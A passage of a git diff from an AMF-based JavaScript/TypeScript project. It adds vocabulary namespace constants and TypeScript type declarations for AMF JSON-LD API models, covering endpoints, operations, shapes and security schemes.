+ns.aml.vocabularies.shapes.RecursiveShape = `${shapesKey}RecursiveShape`;
+ns.aml.vocabularies.shapes.XMLSerializer = `${shapesKey}XMLSerializer`;
+ns.aml.vocabularies.shapes.range = `${shapesKey}range`;
+ns.aml.vocabularies.shapes.items = `${shapesKey}items`;
+ns.aml.vocabularies.shapes.anyOf = `${shapesKey}anyOf`;
+ns.aml.vocabularies.shapes.fileType = `${shapesKey}fileType`;
+ns.aml.vocabularies.shapes.number = `${shapesKey}number`;
+ns.aml.vocabularies.shapes.integer = `${shapesKey}integer`;
+ns.aml.vocabularies.shapes.long = `${shapesKey}long`;
+ns.aml.vocabularies.shapes.double = `${shapesKey}double`;
+ns.aml.vocabularies.shapes.boolean = `${shapesKey}boolean`;
+ns.aml.vocabularies.shapes.float = `${shapesKey}float`;
+ns.aml.vocabularies.shapes.nil = `${shapesKey}nil`;
+ns.aml.vocabularies.shapes.dateTimeOnly = `${shapesKey}dateTimeOnly`;
+ns.aml.vocabularies.shapes.password = `${shapesKey}password`;
+ns.aml.vocabularies.shapes.schema = `${shapesKey}schema`;
+ns.aml.vocabularies.shapes.xmlSerialization = `${shapesKey}xmlSerialization`;
+ns.aml.vocabularies.shapes.xmlName = `${shapesKey}xmlName`;
+ns.aml.vocabularies.shapes.xmlAttribute = `${shapesKey}xmlAttribute`;
+ns.aml.vocabularies.shapes.xmlWrapped = `${shapesKey}xmlWrapped`;
+ns.aml.vocabularies.shapes.xmlNamespace = `${shapesKey}xmlNamespace`;
+ns.aml.vocabularies.shapes.xmlPrefix = `${shapesKey}xmlPrefix`;
+ns.aml.vocabularies.shapes.readOnly = `${shapesKey}readOnly`;
+ns.aml.vocabularies.shapes.writeOnly = `${shapesKey}writeOnly`;
+ns.aml.vocabularies.shapes.deprecated = `${shapesKey}deprecated`;
+ns.aml.vocabularies.shapes.fixPoint = `${shapesKey}fixPoint`;
+ns.aml.vocabularies.shapes.discriminator = `${shapesKey}discriminator`;
+ns.aml.vocabularies.shapes.discriminatorValue = `${shapesKey}discriminatorValue`;
+ns.aml.vocabularies.shapes.format = `${shapesKey}format`;
+ns.aml.vocabularies.shapes.multipleOf = `${shapesKey}multipleOf`;
+ns.aml.vocabularies.shapes.uniqueItems = `${shapesKey}uniqueItems`;
+ns.aml.vocabularies.data = {};
+ns.aml.vocabularies.data.key = `${ns.aml.vocabularies.key}data#`;
+const dataKey = ns.aml.vocabularies.data.key;
+ns.aml.vocabularies.data.toString = () => dataKey;
+ns.aml.vocabularies.data.Scalar = `${dataKey}Scalar`;
+ns.aml.vocabularies.data.Object = `${dataKey}Object`;
+ns.aml.vocabularies.data.Array = `${dataKey}Array`;
+ns.aml.vocabularies.data.value = `${dataKey}value`;
+ns.aml.vocabularies.data.type = `${dataKey}type`;
+ns.aml.vocabularies.data.description = `${dataKey}description`;
+ns.aml.vocabularies.data.required = `${dataKey}required`;
+ns.aml.vocabularies.data.displayName = `${dataKey}displayName`;
+ns.aml.vocabularies.data.minLength = `${dataKey}minLength`;
+ns.aml.vocabularies.data.maxLength = `${dataKey}maxLength`;
+ns.aml.vocabularies.data.default = `${dataKey}default`;
+ns.aml.vocabularies.data.multipleOf = `${dataKey}multipleOf`;
+ns.aml.vocabularies.data.minimum = `${dataKey}minimum`;
+ns.aml.vocabularies.data.maximum = `${dataKey}maximum`;
+ns.aml.vocabularies.data.enum = `${dataKey}enum`;
+ns.aml.vocabularies.data.pattern = `${dataKey}pattern`;
+ns.aml.vocabularies.data.items = `${dataKey}items`;
+ns.aml.vocabularies.data.format = `${dataKey}format`;
+ns.aml.vocabularies.data.example = `${dataKey}example`;
+ns.aml.vocabularies.data.examples = `${dataKey}examples`;
+
+ns.aml.vocabularies.docSourceMaps = {};
+ns.aml.vocabularies.docSourceMaps.key = `${ns.aml.vocabularies.key}document-source-maps#`;
+const dsmKey = ns.aml.vocabularies.docSourceMaps.key;
+ns.aml.vocabularies.docSourceMaps.toString = () => dsmKey;
+ns.aml.vocabularies.docSourceMaps.SourceMap = `${dsmKey}SourceMap`;
+ns.aml.vocabularies.docSourceMaps.sources = `${dsmKey}sources`;
+ns.aml.vocabularies.docSourceMaps.element = `${dsmKey}element`;
+ns.aml.vocabularies.docSourceMaps.value = `${dsmKey}value`;
+ns.aml.vocabularies.docSourceMaps.declaredElement = `${dsmKey}declared-element`;
+ns.aml.vocabularies.docSourceMaps.trackedElement = `${dsmKey}tracked-element`;
+ns.aml.vocabularies.docSourceMaps.parsedJsonSchema = `${dsmKey}parsed-json-schema`;
+ns.aml.vocabularies.docSourceMaps.autoGeneratedName = `${dsmKey}auto-generated-name`;
+ns.aml.vocabularies.docSourceMaps.lexical = `${dsmKey}lexical`;
+ns.aml.vocabularies.docSourceMaps.synthesizedField = `${dsmKey}synthesized-field`;
+
+// W3 namespace
+ns.w3 = {};
+ns.w3.key = 'http://www.w3.org/';
+ns.w3.rdfSyntax = {};
+ns.w3.rdfSyntax.key = `${ns.w3.key}1999/02/22-rdf-syntax-ns#`;
+ns.w3.rdfSyntax.toString = () => ns.w3.rdfSyntax.key;
+// TODO: is this unnecessary?
+ns.w3.rdfSyntax.member = `${ns.w3.rdfSyntax.key}member`;
+ns.w3.rdfSyntax.Seq = `${ns.w3.rdfSyntax.key}Seq`;
+ns.w3.rdfSchema = {};
+ns.w3.rdfSchema.key = `${ns.w3.key}2000/01/rdf-schema#`;
+ns.w3.rdfSchema.toString = () => ns.w3.rdfSchema.key;
+ns.w3.rdfSchema.member = `${ns.w3.rdfSchema.key}member`;
+ns.w3.rdfSchema.Seq = `${ns.w3.rdfSchema.key}Seq`;
+ns.w3.hydra = {};
+ns.w3.hydra.key = `${ns.w3.key}ns/hydra/`;
+ns.w3.hydra.toString = () => ns.w3.hydra.key;
+ns.w3.hydra.core = ns.aml.vocabularies.apiContract;
+ns.w3.xmlSchema = {};
+ns.w3.xmlSchema.key = `${ns.w3.key}2001/XMLSchema#`;
+ns.w3.xmlSchema.toString = () => ns.w3.xmlSchema.key;
+ns.w3.xmlSchema.boolean = `${ns.w3.xmlSchema.key}boolean`;
+ns.w3.xmlSchema.string = `${ns.w3.xmlSchema.key}string`;
+ns.w3.xmlSchema.number = `${ns.w3.xmlSchema.key}number`;
+ns.w3.xmlSchema.integer = `${ns.w3.xmlSchema.key}integer`;
+ns.w3.xmlSchema.long = `${ns.w3.xmlSchema.key}long`;
+ns.w3.xmlSchema.double = `${ns.w3.xmlSchema.key}double`;
+ns.w3.xmlSchema.float = `${ns.w3.xmlSchema.key}float`;
+ns.w3.xmlSchema.nil = `${ns.w3.xmlSchema.key}nil`;
+ns.w3.xmlSchema.dateTime = `${ns.w3.xmlSchema.key}dateTime`;
+ns.w3.xmlSchema.time = `${ns.w3.xmlSchema.key}time`;
+ns.w3.xmlSchema.date = `${ns.w3.xmlSchema.key}date`;
+ns.w3.xmlSchema.base64Binary = `${ns.w3.xmlSchema.key}base64Binary`;
+// w3 types
+ns.w3.shacl = {};
+ns.w3.shacl.key = `${ns.w3.key}ns/shacl#`;
+const n2shaclName = ns.w3.shacl.key;
+ns.w3.shacl.toString = () => n2shaclName;
+ns.w3.shacl.Shape = `${n2shaclName}Shape`;
+ns.w3.shacl.NodeShape = `${n2shaclName}NodeShape`;
+ns.w3.shacl.SchemaShape = `${n2shaclName}SchemaShape`;
+ns.w3.shacl.PropertyShape = `${n2shaclName}PropertyShape`;
+ns.w3.shacl.in = `${n2shaclName}in`;
+ns.w3.shacl.defaultValue = `${n2shaclName}defaultValue`;
+ns.w3.shacl.defaultValueStr = `${n2shaclName}defaultValueStr`;
+ns.w3.shacl.pattern = `${n2shaclName}pattern`;
+ns.w3.shacl.minInclusive = `${n2shaclName}minInclusive`;
+ns.w3.shacl.maxInclusive = `${n2shaclName}maxInclusive`;
+ns.w3.shacl.multipleOf = `${n2shaclName}multipleOf`;
+ns.w3.shacl.minLength = `${n2shaclName}minLength`;
+ns.w3.shacl.maxLength = `${n2shaclName}maxLength`;
+ns.w3.shacl.fileType = `${n2shaclName}fileType`;
+ns.w3.shacl.and = `${n2shaclName}and`;
+ns.w3.shacl.property = `${n2shaclName}property`;
+ns.w3.shacl.name = `${n2shaclName}name`;
+ns.w3.shacl.raw = `${n2shaclName}raw`;
+ns.w3.shacl.datatype = `${n2shaclName}datatype`;
+ns.w3.shacl.minCount = `${n2shaclName}minCount`;
+ns.w3.shacl.maxCount = `${n2shaclName}maxCount`;
+ns.w3.shacl.xone = `${n2shaclName}xone`;
+ns.w3.shacl.not = `${n2shaclName}not`;
+ns.w3.shacl.or = `${n2shaclName}or`;
+ns.w3.shacl.closed = `${n2shaclName}closed`;
+ns.w3.shacl.path = `${n2shaclName}path`;
+// Hydra shortcuts
+ns.w3.hydra.supportedOperation = `${contractKey}supportedOperation`;
+// Schema org namespace
+ns.schema = {};
+ns.schema.key = coreKey;
+ns.schema.toString = () => coreKey;
+ns.schema.name = `${ns.schema.key}name`;
+ns.schema.desc = `${ns.schema.key}description`;
+ns.schema.doc = `${ns.schema.key}documentation`;
+ns.schema.webApi = `${contractKey}WebAPI`;
+ns.schema.creativeWork = `${coreKey}CreativeWork`;
+ns.schema.displayName = `${coreKey}displayName`;
+ns.schema.title = `${coreKey}title`;
+
+Object.freeze(ns.raml);
+Object.freeze(ns.aml);
+Object.freeze(ns.aml.vocabularies);
+Object.freeze(ns.aml.vocabularies.shapes);
+Object.freeze(ns.aml.vocabularies.data);
+Object.freeze(ns.aml.vocabularies.apiContract);
+Object.freeze(ns.aml.vocabularies.security);
+Object.freeze(ns.aml.vocabularies.core);
+Object.freeze(ns.aml.vocabularies.document);
+Object.freeze(ns.w3);
+Object.freeze(ns.w3.rdfSyntax);
+Object.freeze(ns.w3.hydra);
+Object.freeze(ns.w3.shacl);
+Object.freeze(ns.schema);
+Object.freeze(ns);
diff --git a/src/helpers/amf.d.ts b/src/helpers/amf.d.ts
new file mode 100644
index 0000000..945fb2e
--- /dev/null
+++ b/src/helpers/amf.d.ts
@@ -0,0 +1,442 @@
+export declare interface DomainElement {
+  '@id': string;
+  '@type': string[];
+  'http://a.ml/vocabularies/document#customDomainProperties'?: [];
+}
+
+export interface ExternalDomainElement extends DomainElement {
+  'http://a.ml/vocabularies/document#raw': LdValueString[];
+  'http://a.ml/vocabularies/core#mediaType': LdValueString[];
+}
+
+export declare interface Linkable {
+  'http://a.ml/vocabularies/document#link-target'?: LdIdValue[];
+  'http://a.ml/vocabularies/document#link-label'?: LdValueString[];
+}
+
+export declare interface LdValue<T> {
+  '@value': T;
+}
+
+export declare interface LdIdValue {
+  '@id': string;
+}
+
+export declare interface LdValueString extends LdValue<string> {
+}
+
+export declare interface LdValueBoolean extends LdValue<boolean> {
+}
+
+export declare interface LdValueNumber extends LdValue<number> {
+}
+
+export declare interface LdValueRange extends LdIdValue {
+  '@type'?: string[];
+}
+
+export interface AmfDocument extends DomainElement {
+  'http://a.ml/vocabularies/document#version'?: LdValueString[];
+  'http://a.ml/vocabularies/document#root'?: LdValueBoolean[];
+  'http://a.ml/vocabularies/document#encodes'?: DomainElement[];
+  'http://a.ml/vocabularies/document#references'?: DomainElement[];
+  'http://a.ml/vocabularies/document#declares'?: DomainElement[];
+}
+
+export interface Api extends DomainElement {
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+  'http://a.ml/vocabularies/core#description'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#server'?: Server[];
+  'http://a.ml/vocabularies/apiContract#accepts'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#contentType'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#scheme'?: LdValueString[];
+  'http://a.ml/vocabularies/core#version'?: LdValueString[];
+  'http://a.ml/vocabularies/core#documentation'?: CreativeWork[];
+  'http://a.ml/vocabularies/apiContract#endpoint'?: EndPoint[];
+  'http://a.ml/vocabularies/apiContract#tag'?: Tag[];
+  'http://a.ml/vocabularies/core#provider'?: Organization[];
+  'http://a.ml/vocabularies/core#license'?: License[];
+}
+
+export interface WebApi extends Api {}
+export interface AsyncApi extends Api {}
+
+export interface Module extends DomainElement {
+  'http://a.ml/vocabularies/document#version'?: LdValueString[];
+  'http://a.ml/vocabularies/document#root'?: LdValueBoolean[];
+  'http://a.ml/vocabularies/document#declares'?: DomainElement[];
+  'http://a.ml/vocabularies/document#usage'?: LdValueString[];
+}
+
+export interface DataTypeFragment extends DomainElement {
+  'http://a.ml/vocabularies/document#version'?: LdValueString[];
+  'http://a.ml/vocabularies/document#root'?: LdValueBoolean[];
+  'http://a.ml/vocabularies/document#encodes'?: Shape[];
+  'http://a.ml/vocabularies/document#references'?: DomainElement[];
+}
+
+export interface ExternalFragment extends DomainElement {
+  'http://a.ml/vocabularies/document#version'?: LdValueString[];
+  'http://a.ml/vocabularies/document#root'?: LdValueBoolean[];
+  'http://a.ml/vocabularies/document#encodes'?: ExternalDomainElement[];
+}
+
+export interface Organization extends DomainElement {
+  'http://a.ml/vocabularies/core#email'?: LdValueString[];
+  'http://a.ml/vocabularies/core#url'?: LdValueString[];
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+}
+
+export interface License extends DomainElement {
+  'http://a.ml/vocabularies/core#url'?: LdValueString[];
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+}
+
+export declare interface Server extends DomainElement {
+  'http://a.ml/vocabularies/core#urlTemplate'?: LdValueString[];
+  'http://a.ml/vocabularies/core#description'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#variable'?: Parameter[];
+}
+
+export declare interface EndPoint extends DomainElement {
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+  'http://a.ml/vocabularies/core#description'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#guiSummary'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#path'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#supportedOperation'?: Operation[];
+  'http://a.ml/vocabularies/apiContract#parameter'?: Parameter[];
+  'http://a.ml/vocabularies/apiContract#payload'?: Payload[];
+  'http://a.ml/vocabularies/apiContract#server'?: Server[];
+  'http://a.ml/vocabularies/security#security'?: SecurityRequirement[];
+  'http://a.ml/vocabularies/document#extends'?: ParametrizedDeclaration[];
+}
+
+export declare interface Operation extends DomainElement {
+  'http://a.ml/vocabularies/apiContract#method': LdValueString[];
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+  'http://a.ml/vocabularies/core#description'?: LdValueString[];
+  'http://a.ml/vocabularies/shapes#deprecated'?: LdValueBoolean[];
+  'http://a.ml/vocabularies/apiContract#guiSummary'?: LdValueString[];
+  'http://a.ml/vocabularies/core#documentation'?: CreativeWork[];
+  'http://a.ml/vocabularies/apiContract#scheme'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#accepts'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#contentType'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#expects'?: Request[];
+  'http://a.ml/vocabularies/apiContract#returns'?: Response[];
+  'http://a.ml/vocabularies/security#security'?: SecurityRequirement[];
+  'http://a.ml/vocabularies/apiContract#callback'?: Callback[];
+  'http://a.ml/vocabularies/apiContract#server'?: Server[];
+  'http://a.ml/vocabularies/document#extends'?: ParametrizedTrait[];
+}
+
+export interface Payload extends DomainElement {
+  'http://a.ml/vocabularies/core#mediaType': LdValueString[];
+  'http://a.ml/vocabularies/shapes#schema'?: DomainElement[];
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#examples'?: Example[];
+  // encoding: Encoding[]
+}
+
+export interface Request extends DomainElement {
+  'http://a.ml/vocabularies/core#description'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#payload'?: Payload[];
+  'http://a.ml/vocabularies/apiContract#required'?: LdValueBoolean[];
+  'http://a.ml/vocabularies/apiContract#parameter'?: Parameter[];
+  'http://a.ml/vocabularies/apiContract#uriParameter'?: Parameter[];
+  'http://a.ml/vocabularies/apiContract#header'?: Parameter[];
+  'http://a.ml/vocabularies/apiContract#cookieParameter'?: Parameter[];
+  'http://a.ml/vocabularies/apiContract#queryString'?: Shape;
+}
+
+export interface Response extends DomainElement {
+  'http://a.ml/vocabularies/apiContract#statusCode': LdValueString[];
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+  'http://a.ml/vocabularies/core#description'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#payload'?: Payload[];
+  'http://a.ml/vocabularies/apiContract#header'?: Parameter[];
+  'http://a.ml/vocabularies/apiContract#examples'?: Example[];
+  'http://a.ml/vocabularies/apiContract#link'?: TemplatedLink[];
+}
+
+export declare interface Parameter extends DomainElement {
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+  'http://a.ml/vocabularies/core#description'?: LdValueString[];
+  'http://a.ml/vocabularies/shapes#schema'?: DomainElement[];
+  'http://a.ml/vocabularies/shapes#deprecated'?: LdValueBoolean[];
+  'http://a.ml/vocabularies/apiContract#paramName'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#required'?: LdValueBoolean[];
+  'http://a.ml/vocabularies/apiContract#binding'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#allowEmptyValue'?: LdValueBoolean[];
+  'http://a.ml/vocabularies/apiContract#style'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#explode'?: LdValueBoolean[];
+  'http://a.ml/vocabularies/apiContract#allowReserved'?: LdValueBoolean[];
+  
+  // payloads: Payload[]
+  // examples: Example[]
+}
+
+export interface TemplatedLink extends DomainElement {
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+  'http://a.ml/vocabularies/core#description'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#operationId': LdValueString[];
+  'http://a.ml/vocabularies/apiContract#mapping': IriTemplateMapping[];
+  'http://a.ml/vocabularies/apiContract#server'?: Server[];
+  // not sure what this is
+  // template: StrField
+  // requestBody: StrField
+}
+
+export interface IriTemplateMapping extends DomainElement {
+  'http://a.ml/vocabularies/apiContract#templateVariable'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#linkExpression'?: LdValueString[];
+}
+
+export declare interface Shape extends DomainElement, Linkable {
+  'http://www.w3.org/ns/shacl#name'?: LdValueString[];
+  'http://a.ml/vocabularies/core#description'?: LdValueString[];
+  'http://a.ml/vocabularies/core#displayName'?: LdValueString[];
+  'http://www.w3.org/ns/shacl#defaultValueStr'?: LdValueString[];
+  'http://www.w3.org/ns/shacl#defaultValue'?: DataNode[];
+  'http://a.ml/vocabularies/shapes#readOnly'?: LdValueBoolean[];
+  'http://a.ml/vocabularies/shapes#writeOnly'?: LdValueBoolean[];
+  'http://a.ml/vocabularies/shapes#deprecated'?: LdValueBoolean[];
+  'http://a.ml/vocabularies/document#location'?: LdValueString[];
+  'http://www.w3.org/ns/shacl#or'?: Shape[];
+  'http://www.w3.org/ns/shacl#and'?: Shape[];
+  'http://www.w3.org/ns/shacl#xone'?: Shape[];
+  'http://www.w3.org/ns/shacl#not'?: Shape[];
+  // values: DataNode[]
+  // inherits: Shape[]
+}
+
+export declare interface PropertyShape extends Shape {
+  'http://www.w3.org/ns/shacl#path'?: LdIdValue[];
+  'http://a.ml/vocabularies/shapes#range'?: Shape[];
+  'http://www.w3.org/ns/shacl#minCount'?: LdValueNumber[];
+  'http://www.w3.org/ns/shacl#maxCount'?: LdValueNumber[];
+  // patternName: StrField
+}
+
+export declare interface AnyShape extends Shape {
+  'http://a.ml/vocabularies/core#documentation'?: CreativeWork[];
+  'http://a.ml/vocabularies/shapes#xmlSerialization'?: DomainElement[];
+  'http://a.ml/vocabularies/apiContract#examples'?: DomainElement[];
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+}
+
+export declare interface DataArrangeShape extends AnyShape {
+  // minItems: IntField
+  // maxItems: IntField
+  // uniqueItems: BoolField
+}
+
+export declare interface ArrayShape extends DataArrangeShape {
+  'http://a.ml/vocabularies/shapes#items'?: Shape[];
+}
+
+export declare interface UnionShape extends AnyShape {
+  'http://a.ml/vocabularies/shapes#anyOf'?: Shape[];
+}
+
+export declare interface TupleShape extends AnyShape {
+  'http://a.ml/vocabularies/shapes#items'?: Shape[];
+}
+
+export declare interface FileShape extends AnyShape {
+  'http://a.ml/vocabularies/shapes#fileType'?: LdValueString[];
+  'http://www.w3.org/ns/shacl#pattern'?: LdValueString[];
+  'http://www.w3.org/ns/shacl#minLength'?: LdValueNumber[];
+  'http://www.w3.org/ns/shacl#maxLength'?: LdValueNumber[];
+  'http://a.ml/vocabularies/shapes#minimum'?: LdValueNumber[];
+  'http://a.ml/vocabularies/shapes#maximum'?: LdValueNumber[];
+  'http://a.ml/vocabularies/shapes#exclusiveMinimum'?: LdValueBoolean[];
+  'http://a.ml/vocabularies/shapes#exclusiveMaximum'?: LdValueBoolean[];
+  'http://a.ml/vocabularies/shapes#format'?: LdValueString[];
+  'http://a.ml/vocabularies/shapes#multipleOf'?: LdValueNumber[];
+}
+
+export declare interface NilShape extends AnyShape {
+}
+
+export declare interface RecursiveShape extends Shape {
+  'http://a.ml/vocabularies/shapes#fixPoint'?: LdIdValue[];
+  'http://a.ml/vocabularies/document#recursive'?: LdValueBoolean[];
+}
+
+export declare interface ScalarShape extends Shape {
+  'http://www.w3.org/ns/shacl#datatype'?: LdIdValue[]; 
+  'http://www.w3.org/ns/shacl#pattern'?: LdValueString[];
+  'http://www.w3.org/ns/shacl#minLength'?: LdValueNumber[];
+  'http://www.w3.org/ns/shacl#maxLength'?: LdValueNumber[];
+  'http://a.ml/vocabularies/shapes#minimum': LdValueNumber[];
+  'http://a.ml/vocabularies/shapes#maximum': LdValueNumber[];
+  'http://a.ml/vocabularies/shapes#exclusiveMinimum': LdValueBoolean[];
+  'http://a.ml/vocabularies/shapes#exclusiveMaximum': LdValueBoolean[];
+  'http://a.ml/vocabularies/shapes#format'?: LdValueString[];
+  'http://a.ml/vocabularies/shapes#multipleOf'?: LdValueNumber[];
+}
+
+export declare interface SchemaShape extends Shape {
+  'http://a.ml/vocabularies/core#mediaType': LdValueString[];
+  'http://a.ml/vocabularies/document#raw'?: LdValueString[];
+}
+
+export declare interface NodeShape extends AnyShape {
+  // minProperties: IntField
+  // maxProperties: IntField
+  'http://www.w3.org/ns/shacl#closed'?: LdValueBoolean[];
+  // customShapeProperties?: PropertyShape[]
+  // customShapePropertyDefinitions?: PropertyShape[]
+  'http://a.ml/vocabularies/shapes#discriminator'?: LdValueString[];
+  'http://a.ml/vocabularies/shapes#discriminatorValue'?: LdValueString[];
+  'http://www.w3.org/ns/shacl#property'?: PropertyShape[];
+  // dependencies: PropertyDependencies[]
+}
+
+export declare interface DataNode extends DomainElement {
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+}
+
+export declare interface ObjectNode extends DataNode {
+  // [key: string]: DataNode[];
+}
+
+export declare interface ArrayNode extends DataNode {
+}
+
+export declare interface ScalarNode extends DataNode {
+  'http://a.ml/vocabularies/data#value'?: LdValueString[];
+  'http://www.w3.org/ns/shacl#datatype'?: LdIdValue[]; 
+}
+
+export declare interface Example extends DomainElement, Linkable {
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+  'http://a.ml/vocabularies/core#displayName'?: LdValueString[];
+  'http://a.ml/vocabularies/core#description'?: LdValueString[];
+  'http://a.ml/vocabularies/data#value'?: LdIdValue[];
+  'http://a.ml/vocabularies/document#structuredValue'?: DataNode[];
+  'http://a.ml/vocabularies/document#strict'?: LdValueBoolean[];
+  'http://a.ml/vocabularies/core#mediaType'?: LdValueString[];
+  'http://a.ml/vocabularies/document#raw'?: LdValueString[];
+}
+
+export interface CreativeWork extends DomainElement {
+  'http://a.ml/vocabularies/core#title'?: LdValueString[];
+  'http://a.ml/vocabularies/core#description'?: LdValueString[];
+}
+
+export interface SecurityRequirement extends DomainElement {
+  'http://a.ml/vocabularies/security#schemes'?: ParametrizedSecurityScheme[];
+  // not sure if this is the right key. Can't generate an example.
+  'http://a.ml/vocabularies/security#name'?: LdValueString[];
+}
+
+export interface ParametrizedSecurityScheme extends DomainElement {
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+  'http://a.ml/vocabularies/security#scheme'?: SecurityScheme[];
+  'http://a.ml/vocabularies/security#settings': Settings[];
+}
+
+export interface SecurityScheme extends DomainElement {
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+  'http://a.ml/vocabularies/core#description'?: LdValueString[];
+  'http://a.ml/vocabularies/security#type'?: LdValueString[];
+  'http://a.ml/vocabularies/core#displayName'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#parameter'?: Parameter[];
+  'http://a.ml/vocabularies/apiContract#header'?: Parameter[];
+  'http://a.ml/vocabularies/security#settings'?: Settings[];
+  'http://a.ml/vocabularies/apiContract#response'?: Response[];
+  'http://a.ml/vocabularies/apiContract#queryString'?: Shape;
+}
+
+export interface Settings extends DomainElement {
+  // additionalProperties: DataNode;
+}
+
+export interface OAuth1Settings extends Settings {
+  'http://a.ml/vocabularies/security#requestTokenUri'?: LdValueString[];
+  'http://a.ml/vocabularies/security#authorizationUri'?: LdValueString[];
+  'http://a.ml/vocabularies/security#tokenCredentialsUri'?: LdValueString[];
+  'http://a.ml/vocabularies/security#signature': LdValueString[];
+}
+
+export interface OAuth2Settings extends Settings {
+  'http://a.ml/vocabularies/security#authorizationGrant': LdValueString[];
+  'http://a.ml/vocabularies/security#flows'?: OAuth2Flow[];
+}
+
+export interface OAuth2Flow extends Settings {
+  'http://a.ml/vocabularies/security#authorizationUri'?: LdValueString[];
+  'http://a.ml/vocabularies/security#accessTokenUri': LdValueString[];
+  'http://a.ml/vocabularies/security#flow'?: LdValueString[];
+  'http://a.ml/vocabularies/security#refreshUri': LdValueString[];
+  'http://a.ml/vocabularies/security#scope'?: Scope[];
+}
+
+export interface ApiKeySettings extends Settings {
+  'http://a.ml/vocabularies/core#name': LdValueString[];
+  'http://a.ml/vocabularies/security#in': LdValueString[];
+}
+
+export interface HttpSettings extends Settings {
+  'http://a.ml/vocabularies/security#scheme'?: LdValueString[];
+  'http://a.ml/vocabularies/security#bearerFormat'?: LdValueString[];
+}
+
+export interface OpenIdConnectSettings extends Settings {
+  'http://a.ml/vocabularies/security#openIdConnectUrl': LdValueString[];
+}
+
+export interface Scope extends DomainElement {
+  'http://a.ml/vocabularies/core#name': LdValueString[];
+  'http://a.ml/vocabularies/core#description': LdValueString[];
+}
+
+export interface Callback extends DomainElement {
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#expression'?: LdValueString[];
+  'http://a.ml/vocabularies/apiContract#endpoint'?: EndPoint[];
+}
+
+export interface XMLSerializer extends DomainElement {
+  'http://a.ml/vocabularies/shapes#xmlAttribute'?: LdValueBoolean[];
+  'http://a.ml/vocabularies/shapes#xmlWrapped'?: LdValueBoolean[];
+  'http://a.ml/vocabularies/shapes#xmlName'?: LdValueBoolean[];
+}
+
+export interface Tag extends DomainElement {
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+}
+
+export interface DocumentSourceMaps extends DomainElement {
+  'http://a.ml/vocabularies/document-source-maps#synthesized-field'?: SynthesizedField[];
+  'http://a.ml/vocabularies/document-source-maps#lexical'?: SynthesizedField[];
+  'http://a.ml/vocabularies/document-source-maps#tracked-element'?: SynthesizedField[];
+}
+
+export interface SynthesizedField {
+  '@id': string;
+  'http://a.ml/vocabularies/document-source-maps#element'?: LdValueString[];
+  'http://a.ml/vocabularies/document-source-maps#value'?: LdValueString[];
+}
+
+export interface ParametrizedDeclaration extends DomainElement {
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+  'http://a.ml/vocabularies/document#target'?: AbstractDeclaration[];
+  'http://a.ml/vocabularies/document#variable'?: VariableValue[];
+}
+
+export interface VariableValue extends DomainElement {
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+  'http://a.ml/vocabularies/document#value'?: DataNode[];
+}
+
+export interface AbstractDeclaration extends DomainElement {
+  'http://a.ml/vocabularies/core#name'?: LdValueString[];
+  'http://a.ml/vocabularies/core#description'?: LdValueString[];
+  'http://a.ml/vocabularies/document#dataNode'?: DataNode[];
+  'http://a.ml/vocabularies/document#variable'?: LdValueString[];
+}
+
+export interface ParametrizedTrait extends ParametrizedDeclaration {}
+export interface ParametrizedResourceType extends ParametrizedDeclaration {}
diff --git a/src/helpers/api.d.ts b/src/helpers/api.d.ts
new file mode 100644
index 0000000..cf38cd2
--- /dev/null
+++ b/src/helpers/api.d.ts
@@ -0,0 +1,539 @@
+import { Server } from "./amf";
+
+interface ServersQueryOptions {
+  /**
+   * An EndPoint to look for the servers in
+   */
+  endpointId?: string
+  /**
+   * An Operation to look for the servers in
+   */
+  methodId?: string
+}
+
+interface ServerQueryOptions {
+  /**
+   * An EndPoint to look for the servers in. Required if Operation is provided
+   */
+  endpointId?: string
+  /**
+   * An Operation to look for the servers in
+   */
+  methodId?: string
+  /**
+   * Optional selected server id
+   */
+  id?: string;
+}
+
+interface ComputeUriOptions {
+  /**
+   * Model for the current server, if available.
+   */
+  server?: Server;
+  /**
+   * Base URI to be used with the endpoint's path.
+   * Note, base URI is ignored when `ignoreBase` is set
+   */
+  baseUri?: string;
+  /**
+   * Current version of the API. It is used to replace
+   * `{version}` from the URI template.
+   */
+  version?: string;
+  /**
+   * List of available protocols of the base URI with path.
+   */
+  protocols?: string[];
+  /**
+   * Whether or not to ignore rendering
+   */
+  ignoreBase?: boolean;
+  ignorePath?: boolean;
+}
+
+export interface ApiDomainProperty {
+  id: string;
+  types: string[];
+  customDomainProperties: ApiCustomDomainProperty[];
+}
+
+export interface ApiCustomDomainProperty {
+  id: string;
+  name: string;
